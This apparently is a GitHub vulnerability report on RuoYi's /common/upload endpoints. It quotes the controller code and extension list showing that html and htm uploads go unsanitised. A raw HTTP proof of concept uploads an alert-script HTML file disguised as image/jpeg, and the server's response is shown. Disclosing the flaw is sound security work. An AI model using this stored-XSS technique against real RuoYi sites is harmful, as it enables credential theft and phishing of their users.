-
-
Notifications
You must be signed in to change notification settings - Fork 2.1k
Open
Description
Summary
The endpoint /common/upload
and /common/uploads
allow user uploads html, htm and PDF file without sanitizer which leads to Stored XSS.
Details
- ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java
@PostMapping("/upload")
@ResponseBody
public AjaxResult uploadFile(MultipartFile file) throws Exception
{
try
{
// 上传文件路径
String filePath = RuoYiConfig.getUploadPath();
// 上传并返回新文件名称
String fileName = FileUploadUtils.upload(filePath, file);
String url = serverConfig.getUrl() + fileName;
AjaxResult ajax = AjaxResult.success();
ajax.put("url", url);
ajax.put("fileName", fileName);
ajax.put("newFileName", FileUtils.getName(fileName));
ajax.put("originalFilename", file.getOriginalFilename());
return ajax;
}
catch (Exception e)
{
return AjaxResult.error(e.getMessage());
}
}
com/ruoyi/common/utils/file/FileUploadUtils.java
public static final String upload(String baseDir, MultipartFile file) throws IOException
{
try
{
return upload(baseDir, file, MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION);
}
catch (Exception e)
{
throw new IOException(e.getMessage(), e);
}
}
com/ruoyi/common/utils/file/MimeTypeUtils.java
public static final String[] DEFAULT_ALLOWED_EXTENSION = {
// 图片
"bmp", "gif", "jpg", "jpeg", "png",
// word excel powerpoint
"doc", "docx", "xls", "xlsx", "ppt", "pptx", "html", "htm", "txt",
// 压缩文件
"rar", "zip", "gz", "bz2",
// 视频格式
"mp4", "avi", "rmvb",
// pdf
"pdf" };
/**
* 通用上传请求(多个)
*/
@PostMapping("/uploads")
@ResponseBody
public AjaxResult uploadFiles(List<MultipartFile> files) throws Exception
{
try
{
// 上传文件路径
String filePath = RuoYiConfig.getUploadPath();
List<String> urls = new ArrayList<String>();
List<String> fileNames = new ArrayList<String>();
List<String> newFileNames = new ArrayList<String>();
List<String> originalFilenames = new ArrayList<String>();
for (MultipartFile file : files)
{
// 上传并返回新文件名称
String fileName = FileUploadUtils.upload(filePath, file);
String url = serverConfig.getUrl() + fileName;
urls.add(url);
fileNames.add(fileName);
newFileNames.add(FileUtils.getName(fileName));
originalFilenames.add(file.getOriginalFilename());
}
AjaxResult ajax = AjaxResult.success();
ajax.put("urls", StringUtils.join(urls, FILE_DELIMETER));
ajax.put("fileNames", StringUtils.join(fileNames, FILE_DELIMETER));
ajax.put("newFileNames", StringUtils.join(newFileNames, FILE_DELIMETER));
ajax.put("originalFilenames", StringUtils.join(originalFilenames, FILE_DELIMETER));
return ajax;
}
catch (Exception e)
{
return AjaxResult.error(e.getMessage());
}
}
POC
- upload a html, htm, or PDF file with malicious JavaScript code (XSS payload) via
/common/upload
orcommon/uploads
POST /common/upload HTTP/1.1
Host: 127.0.0.1:7002
Content-Length: 212
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
X-CSRF-Token: OF5btMiMiTkmB+CFbUqFauMEwmO0nNr+0o0px6b5mE0=
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAOt4rZCZ8orj157H
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:7002
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:7002/system/notice/edit/1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.1027658535.1749294030; CHAT2DB=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1N...; JSESSIONID=3fb74c2d-1bde-4bcc-8162-1edf4727f70a; rememberMe=WRBbwVfYXEA0hpJX...
Connection: close
------WebKitFormBoundaryAOt4rZCZ8orj157H
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: image/jpeg
<script>alert('XSS')</script>
------WebKitFormBoundaryAOt4rZCZ8orj157H--
HTTP/1.1 200
Content-Type: application/json
Date: Mon, 07 Jul 2025 08:49:46 GMT
Connection: close
Content-Length: 261
{"msg":"操作成功","fileName":"/profile/upload/2025/07/07/test_20250707164946A004.html","code":0,"newFileName":"test_20250707164946A004.html","url":"http://127.0.0.1:7002/profile/upload/2025/07/07/test_20250707164946A004.html","originalFilename":"test.html"}

Impact
The Stored XSS vulnerability allows attackers launch attacks via arbitrary javascript execution, such as phishing, stealing user's credentials, etc
Metadata
Metadata
Assignees
Labels
No labels